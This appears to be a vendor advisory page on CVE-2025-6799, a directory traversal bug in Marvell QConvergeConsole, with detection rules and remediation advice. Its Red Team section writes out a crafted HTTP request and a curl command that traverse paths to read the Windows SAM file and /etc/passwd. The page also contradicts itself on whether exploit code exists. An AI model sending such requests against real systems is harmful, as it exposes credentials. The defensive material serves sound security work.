CVE-2025-6799
Executive Summary
CVE-2025-6799 is a critical directory traversal vulnerability in Marvell QConvergeConsole, specifically within the getFileUploadBytes method. The flaw allows unauthenticated remote attackers to read arbitrary files on the system, leading to information disclosure at the SYSTEM privilege level. With a CVSS score of 7.5, this vulnerability poses a significant risk to enterprise environments using Marvell’s storage and network management console. No public exploit code or patch is currently available, but the vulnerability has been reported via ZDI (ZDI-CAN-24919). Immediate mitigation steps include network segmentation and strict access controls.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is High due to the ease of exploitation and the potential for sensitive data exposure (e.g., credentials, configuration files, encryption keys). The lack of authentication requirement amplifies the risk in internet-facing deployments.
Deep Dive & Mechanics
The vulnerability resides in the getFileUploadBytes method of Marvell QConvergeConsole. This method is designed to handle file upload operations but fails to validate user-supplied paths before performing file system operations. An attacker can craft a request with directory traversal sequences (e.g., ../) to read arbitrary files outside the intended upload directory.
Root Cause:
The application does not sanitize or canonicalize the path provided by the user. When the path is passed to file I/O functions (e.g., File.ReadAllBytes or similar), the operating system resolves the traversal sequences, allowing access to files like C:\Windows\System32\config\SAM or /etc/shadow.
Attack Flow:
- Attacker identifies the vulnerable endpoint (e.g.,
/api/upload/getFileUploadBytes). - Sends a POST/GET request with a
pathparameter containing../../../../Windows/System32/config/SAM. - The server reads the file and returns its contents in the response.
- Attacker exfiltrates sensitive data.
Impact:
- Disclosure of system configuration files, user credentials, and encryption keys.
- Potential pivot to lateral movement if credentials are harvested.
- No integrity or availability impact, but confidentiality breach is severe.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
public byte[] getFileUploadBytes(string userPath)
{
string basePath = "C:\\Uploads\\";
string fullPath = basePath + userPath; // No validation
return File.ReadAllBytes(fullPath);
}
Patched Code (Conceptual):
public byte[] getFileUploadBytes(string userPath)
{
string basePath = "C:\\Uploads\\";
string fullPath = Path.GetFullPath(Path.Combine(basePath, userPath));
if (!fullPath.StartsWith(basePath, StringComparison.OrdinalIgnoreCase))
{
throw new SecurityException("Invalid path.");
}
return File.ReadAllBytes(fullPath);
}
The patched version uses Path.GetFullPath to resolve traversal sequences and then verifies that the resolved path starts with the allowed base directory.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Marvell QConvergeConsole (version unknown).
- Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the vulnerable endpoint (e.g., via Shodan or manual probing).
- Send a crafted request:
POST /api/upload/getFileUploadBytes HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
path=../../../../Windows/System32/config/SAM
- Parse the response to extract file contents.
Example cURL Command:
curl -X POST "http://target.com/api/upload/getFileUploadBytes" -d "path=../../../../etc/passwd"
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for unusual file read requests containing
../or..\sequences. - Alert on access to sensitive system files (e.g., SAM, passwd, shadow).
- Use the Sigma rule below to detect directory traversal patterns.
Hunting:
- Search web server logs for
getFileUploadBytesendpoint with path parameters containing... - Correlate with outbound data transfers from the QConvergeConsole server.
Indicators of Compromise (IOCs)
Network:
- HTTP requests to
/api/upload/getFileUploadByteswithpathparameter containing../or..\. - Unusual outbound data transfers from the QConvergeConsole server.
- HTTP requests to
File System:
- Access to files outside the upload directory (e.g.,
C:\Windows\System32\config\SAM,/etc/shadow).
- Access to files outside the upload directory (e.g.,
Logs:
- Web server logs showing
200responses to directory traversal requests. - Application logs with errors related to file path resolution.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_6799_Directory_Traversal {
meta:
description = "Detects directory traversal attempts targeting Marvell QConvergeConsole getFileUploadBytes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6799"
strings:
$traversal1 = "..\\" ascii wide
$traversal2 = "../" ascii wide
$endpoint = "getFileUploadBytes" ascii wide
condition:
$endpoint and ($traversal1 or $traversal2)
}
Sigma Rule
title: Directory Traversal in Marvell QConvergeConsole getFileUploadBytes
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests with directory traversal patterns to the getFileUploadBytes endpoint.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "getFileUploadBytes"
- "..\\"
- "../"
condition: selection
falsepositives:
- Legitimate file paths containing ".." (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6799 Directory Traversal in Marvell QConvergeConsole"; flow:to_server; content:"getFileUploadBytes"; http_uri; content:".."; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Restrict access to QConvergeConsole to trusted IPs only.
- Web Application Firewall (WAF): Deploy rules to block directory traversal patterns (e.g.,
..\\,../). - Disable Endpoint: If possible, disable the
getFileUploadBytesendpoint until a patch is available.
Long-Term Fix:
- Apply vendor patch when released.
- Implement input validation and canonicalization for all file paths.
- Conduct a security audit of the application’s file handling logic.
Workaround:
- Modify the application configuration to restrict file read permissions to the upload directory only.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.